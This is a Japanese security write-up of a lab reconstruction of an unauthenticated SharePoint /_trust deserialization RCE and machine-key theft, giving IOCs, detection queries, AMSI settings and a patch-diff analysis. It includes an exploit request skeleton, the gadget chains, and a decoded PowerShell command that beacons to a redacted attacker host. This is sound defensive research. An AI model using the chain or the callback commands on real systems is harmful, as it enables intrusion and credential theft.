SharePoint /_trust WS-Federation BinaryFormatter逆シリアル化チェーンのPoC、IOC、および検出ロジック。認証なしのRCE、プロセス内マシンキー窃取、および各バリアントが残すアーティファクトをカバーするラボ再構築。SharePoint 2016、2019、およびSubscription Edition。CVE-2026-50522、CVE-2026-45659、CVE-2026-56164、CVE-2026-58644。
/_trust WS-Federation 逆シリアル化: PoC & 検知ノートライブレポート (GitHub Pages): https://sp-poc.wismansec.com/ (本ドキュメントのHTMLレンダリング)
影響を受ける製品: SharePoint Server 2016、2019、および Subscription Edition
隔離されたラボで SharePoint Server (Subscription Edition) への侵入を再現しました。目的は、(a) 攻撃者の完全な能力を理解すること、(b) ステルス的な永続化を含め、防御側が何を探すべきかを特定すること、(c) 他の調査者を支援する PoC を共有することです。
許可された研究に限ります。 ここで行われたすべての操作は、テスト用に意図的にパッチ未適用のままにされたビルドに対して、隔離された個人所有のラボハードウェアとアカウントで実行されました。根本的な問題はベンダーによって修正済みです。最新の更新プログラムを適用してください。自分が所有しておらず、テストの明示的な許可を得ていないシステムに対して実行しないでください。マシンキー値、内部ホスト名/IP、コールバックドメインは、本文およびサンプルアーティファクト内で伏せ字にしています。SIEM のスクリーンショットは未修正であり、ラボの実際の名前が含まれています。§4 の注記を参照してください。
/_trust SecurityContextToken BinaryFormatter 逆シリアル化ファミリーSecurityContextToken を含む単一の認証不要 POST /_trust/default.aspx (WS-Federation サインイン) により、SharePoint ワーカー () で BinaryFormatter の逆シリアル化がトリガーされ、Web アプリケーションプール ID としてリモートコード実行 (RCE) が可能になります。w3wp.exe/_trust の AMSI リクエストボディスキャンを有効にすると検知・ブロックされます。§5 参照)。これらのキーを使用すると、攻撃者はパッチ適用後も有効な __VIEWSTATE/認証トークンを偽造できます。/_trust リクエストシグネチャをハンティングしてください。SharePoint は /_trust/default.aspx に WS-Federation パッシブサインインエンドポイントを公開しています。細工されたサインインレスポンス (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) には SecurityContextToken が埋め込まれ、その <Cookie> 要素は base64 で DEFLATE 圧縮された BinaryFormatter ストリームです。サーバー側では、その Cookie が展開され、型制限なしで逆シリアル化されるため、ガジェットチェーン (ysoserial.net 経由) によって w3wp.exe 内部で攻撃者が制御するコードが実行されます。
リクエストのスケルトン (認証不要):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
| チェーン | ガジェット | 影響 | 出力チャネル |
|---|---|---|---|
| OOB RCE | TypeConfuseDelegate → -EncodedCommand PowerShell | プール ID としてのコード実行 | 帯域外 (HTTP/DNS ビーコン) |
| マシンキー開示 | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (KeyDump.cs をプロセス内でコンパイル) | ValidationKey/DecryptionKey をダンプ | HTTP レスポンス内にインライン |
scripts/ にある (サニタイズ済みの) スクリプト: パラメータ化された OOB RCE と 2 段階のキーダンプ。ペイロードの配信には PowerShell の -EncodedCommand を使用しているため、複数ステートメントのペイロードが cmd.exe/転送レイヤーをそのまま通過します (;/&& のクォーティング破損なし)。
単一の SharePoint SE ファーム (修正前のビルドに固定)、アプリプール ID LAB\sp_pool、PowerShell 5.1、クラウド保護を有効にした Microsoft Defender。テレメトリ (Windows イベントログ、SharePoint ログ、Defender for Endpoint) は、軽量なオープンソース SIEM である nano に送信しました。攻撃者ホストは ysoserial.net を実行し、interactsh クライアントが OOB リスナーを提供しました。アドレスとドメインは本文中で伏せ字にしています。§4 のスクリーンショット注記を参照してください。
各行は実際の 1 回の実行 (デトネーション) です。アーティファクトは実行ごとに SIEM + OOB リスナーから取得しました。
スクリーンショットは未修正です。 ラボの実際のホスト名と NetBIOS 名が含まれており、これらは簡素で、本文全体で使用しているサニタイズ済みの
SHAREPOINT01/LABとは異なります。同じ実行、同じイベントであり、演出されたものは一切ありません。業務上安全な相当物はartifacts/にあります。
| 実行方法 | プロセスツリー (LAB\sp_pool として、High) | Defender | OOB ビーコン | 主要アーティファクト |
|---|---|---|---|---|
| OOB RCE、デフォルト | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A (EID 1116 detect / 1117 Remove) | 着弾 (競争状態) | 4688 ツリー; Defender 1116/1117; /_trust POST |
OOB RCE、-RawCmd | w3wp.exe → powershell.exe → conhost.exe (cmd なし) | なし | 着弾 (DNS+HTTP) | 4688 ツリー; /_trust POST; ビーコン |
OOB RCE、-DropFile | w3wp.exe → powershell.exe | なし | 着弾 | …\TEMPLATE\LAYOUTS\ へのファイル書き込み (オブジェクトアクセス監査ログには記録されない) |
OOB RCE、-Diag | w3wp.exe → powershell.exe → whoami.exe | なし | 着弾 | 環境情報開示の外部送信: {host, whoami, PSver, LanguageMode} |
| マシンキーダンプ | (なし、プロセス内) | なし | (なし) | /_trust POST と、キーを含む異常なレスポンスのみ |
これらの結果は、デフォルトの AMSI 構成 (Balanced モード、/_trust はスキャン対象外) におけるものです。/_trust の AMSI リクエストボディスキャンを有効にすると (Full モードまたはターゲット指定)、各行は代わりにリクエストレイヤーでブロックされます。実行前に HTTP 400、Exploit:Script/SpCookieExec.A を返します (§5 参照)。

文書化された 4 回の実行すべて (15:01〜15:18 UTC) で、w3wp.exe のすべての子プロセスがプール ID として実行されています。4 件のうち 3 件は powershell.exe が直接生成されています。cmd.exe を経由したのは 15:03:34 の実行だけで、検知されたのもその実行だけでした。ウィンドウをこれより広げると、同日朝の以前の開発イテレーションも結果セットに含まれるため、この主張はこれら 4 回の実行に限定されます。

デフォルトの実行方法: w3wp.exe → cmd.exe → powershell.exe で、conhost.exe が並行して起動します。これが Behavior:Win32/WebshellLauncher.A が検知の鍵とするプロセス形状です。

-RawCmd 実行方法。同じプリミティブ、同じペイロードで、cmd.exe ホップを除去したものです。この実行では Defender は何も検知しませんでした。w3wp → cmd に基づく検知ではこれを完全に見逃します。

4 回の実行を含む同じ 25 分間のウィンドウ内のすべての Defender イベントです。3 件すべてが単一の cmd.exe 実行に属しています。Severe の malware_detected が 2 件、その後アクション Remove の malware_action_taken が 1 件です。修復はビーコンに間に合わず、ビーコンが先に完了しました。
Security 4688 からそのまま復元された重要なコマンドライン (エンコーディングは回避策ではありません):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

SIEM に表示されるエンコード済みコマンドラインです。これは UTF-16LE の base64 に過ぎません。base64 -d | iconv -f utf-16le -t utf-8 でコールバックを 1 ステップで復元できます。エンコーディングは難読化ではありません。
以下の 2 つのフレームは、ファームのマシンキーが盗まれた同じ 90 秒間のウィンドウを対象としています。

フィルタなしでは、ウィンドウには 20 件のイベントがあります。ホストは稼働しており、テレメトリを送信しています。

w3wp.exe の子プロセスにフィルタすると、同じウィンドウは空です。プロセスも、Defender イベントも、ビーコンもありません。キーは HTTP レスポンスで持ち出され、ホスト側の唯一のアーティファクトは /_trust リクエスト自体であり、この SIEM はそれを収集していませんでした。パッチ適用では盗まれたキーは失効しません。ローテーションしてください。
OOB リスナーで取得された -Diag による情報開示 (URL デコード済み):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
すべての亜種に存在する唯一のシグネチャ。 まずこれをハンティングしてください:
wa=wsignin1.0 と、RequestSecurityTokenResponse + SecurityContextToken/<Cookie> を含む wresult を持つ POST /_trust/default.aspx。認証不要で、多くの場合異常な User-Agent。レスポンスステータスのベースライン: このエンドポイントへの正規の WS-Federation サインイントラフィックは主に HTTP 302 です。エクスプロイトは他のステータス (200、500、接続リセット、AMSI がブロックした場合は 400) を返します。このエンドポイントに実際のサインイン量がある場合は、POST /_trust/default.aspx への非 302 レスポンスを異常として扱ってください。ステータスだけではエクスプロイトの成功を確認できません。成功した実行では 200 とリセットの両方が返されました。プロセスベース (RCE 亜種のみ):
w3wp.exe が cmd.exe または powershell.exe を直接生成する。-RawCmd 亜種は cmd.exe ホップを除去して WebshellLauncher.A を回避するため、w3wp→cmd だけに依存しないでください。w3wp 配下の powershell.exe -EncodedCommand: 4688 から直接 blob をデコードしてください (保存時は難読化されていません)。w3wp.exe → whoami.exe (偵察)、または子プロセスの conhost.exe。対応判断に影響する 2 つの発見:
Behavior:Win32/WebshellLauncher.A として検知して修復した際、少なくとも 1 回の実行では、外向きビーコンが修復完了前に完了することが観測されました。このような検知はコールバック成功の可能性があるものとして扱い、検知時刻前後の DNS、プロキシ、外向きログでコールバック宛先を確認してください。w3wp.exe 内部で実行され、HTTP レスポンスでキーを返すため、ホスト側の唯一の証拠は POST /_trust/default.aspx リクエストとそのレスポンスです。検知されるかどうかは AMSI リクエストボディスキャン構成に依存します。MITRE ATT&CK: T1190 (公開アプリケーションの悪用) · T1059.001 (PowerShell) · T1552 (保護されていない資格情報: マシンキー) · T1550 (盗難後の偽造認証マテリアルの使用)。
両方のチェーンは POST /_trust/default.aspx リクエストのボディでペイロードを配信します。Microsoft Defender がそのペイロードを検査するかどうかは、Web アプリケーションに対する SharePoint の AMSI リクエストボディスキャン構成によって決まります。このファーム (SharePoint Server Subscription Edition、Microsoft Defender) に対して 3 つの構成を直接テストしました:
| AMSI リクエストボディ構成 | 結果 |
|---|---|
Balanced モード、/_trust/default.aspx がターゲットエンドポイントリストにない (デフォルト) | リクエストボディはスキャンされない。両チェーンが実行され、Defender の検知なし |
Balanced モード、/_trust/default.aspx をターゲットエンドポイントに追加 | リクエストボディがスキャンされ、リクエストがブロックされる |
| Full モード (全エンドポイントをスキャン) | リクエストボディがスキャンされ、リクエストがブロックされる |
デフォルト構成ではリクエストボディは検査されないため、RCE とマシンキー開示の両方が完了し、AMSI による検知は発生しません。どちらのスキャン構成でも、リクエストは逆シリアル化の前に HTTP 400 で拒否され、ワーカープロセスは作成されず、Defender は以下を記録します:
| フィールド | 値 |
|---|---|
| 脅威 | Exploit:Script/SpCookieExec.A (ID 2147969862) |
| 重大度 / カテゴリ | 重大 / 悪用 |
| 検出元 | AMSI |
| アクション | 検疫 |
| プロセス | C:\Windows\System32\inetsrv\w3wp.exe |
コードが実行される前にリクエストがブロックされるため、子プロセスは作成されず、どちらのチェーンでも Security 4688 のプロセス作成イベントは生成されません。powershell.exe を (中間の cmd.exe なしで) 直接生成する RCE 亜種も同様にブロックされます。
構成 (SharePoint Management Shell、Web アプリケーションごと):
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Set-SPMachineKey / web.config の machineKey 更新 + IISReset)。パッチ適用は RCE を止めますが、すでに盗まれたキーは失効させません。ローテーションにより、攻撃者が永続化のために FedAuth / SecurityContextToken / __VIEWSTATE を偽造する能力を排除します。POST /_trust/default.aspx をハンティングします。正規の WS-Federation サインインも wa=wsignin1.0 でこのエンドポイントをターゲットにするため、エンドポイント単独ではなく、エクスプロイト固有の構造に注目してください: トークンが base64 の <Cookie> を持つ <SecurityContextToken> である wresult (名前空間 http://schemas.microsoft.com/ws/2006/05/security。正規のサインインは代わりに署名付き SAML アサーションを運びます)、それに加えて非 302 レスポンス (200/500/400 またはリセット)、およびスクリプト化された/異常な User-Agent。キーダンプはこのような POST を連続して 2 回送信します。存在する場合は、キーの漏洩を前提としてください。__VIEWSTATE / 異常な認証をレビューします。/_trust の AMSI リクエストボディスキャンを有効にします (Full モード、または Balanced のターゲットエンドポイントとして /_trust/default.aspx を追加。§5 参照)。これにより、RCE とキーダンプの両方が実行前にリクエストレイヤーでブロックされます。ベンダーの修正プログラムの静的解析により、そのメカニズムが確認され、RCE に盗まれたマシンキーが必要かどうかが確定しました: 不要です。方法: 6月の CU (KB5002873, 16.0.19725.20384) と 7月の CU (KB5002882, 16.0.19725.20434) の間の Microsoft.SharePoint.IdentityModel.dll のバイナリパッチ差分。読み取り専用で逆コンパイルして比較しました。
悪用された読み取りパスは SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2 (System.IdentityModel.Tokens.SessionSecurityTokenHandler のサブクラス) です。変更内容:
| 6月 (脆弱) | 7月 (修正済み) | |
|---|---|---|
| Cookie 変換チェーン | s_Transforms = { new DeflateCookieTransform() } (deflate のみ) | s_Transforms = { new NotSupportedCookieTransform() } (Decode/Encode がスロー) |
ReadToken オーバーライド | なし (基底の ReadToken を継承) | ReadToken(XmlReader, SecurityTokenResolver)、ReadToken(XmlReader)、ReadToken(string) はすべて NotSupportedException をスロー |
解釈。 パッチ適用前の変換チェーンは deflate のみで、暗号化も、マシンキーに基づく MAC/署名変換もありませんでした。基底の ReadToken は変換を適用して Cookie 値を逆シリアル化するため、偽造トークンはマシンキーの検証ゲートなしに展開・逆シリアル化されます。ガジェットは ValidationKey/DecryptionKey なしで発火します (キー非依存)。修正プログラムは、署名/復号チェックを追加するのではなく、シンクを除去しており (変換と ReadToken がスロー)、修正すべきキーゲートが存在しなかったことを裏付けています。
結果。 マシンキー開示は、RCE の前提条件ではなく、別個の永続化目的 (FedAuth / SecurityContextToken / __VIEWSTATE の偽造) です。キーダンプ自体が同じパスを介した RCE であり、キーが盗まれる前に実行されます。
同じ 7月の CU には、関連性のない 2 つ目の強化も含まれています: SPJsonWebSecurityTokenHandlerV2 での JWT アクタートークンの署名検証 (RequireSignedTokens が false→true、新しい VerifyActorTokenSignature)。これは、ここで扱う WS-Federation セッショントークンパスではなく、別個の OAuth / サーバー間アクタートークンパスです。
修正プログラムの適用。 修正プログラムは 7月の CU (KB5002882) です。deflate のみの Cookie 変換を、スローする変換に置き換えてシンクを除去します。インストール後、ファーム設定によってこれが元に戻されたりバイパスされたりしないことを確認してください。SessionCookieTransformProtectionEnabled を false に設定すると、セッショントークン Cookie が脆弱な deflate のみの変換に戻り (RCE とキーダンプが再び可能になります)、DisableActorTokenSignatureValidation デバッグフラグは、同じ更新プログラムで強化された別個の JWT アクタートークン署名バイパスを再び開きます。
README.md – this document
scripts/ – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/ – hunt queries / IOC list
artifacts/ – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md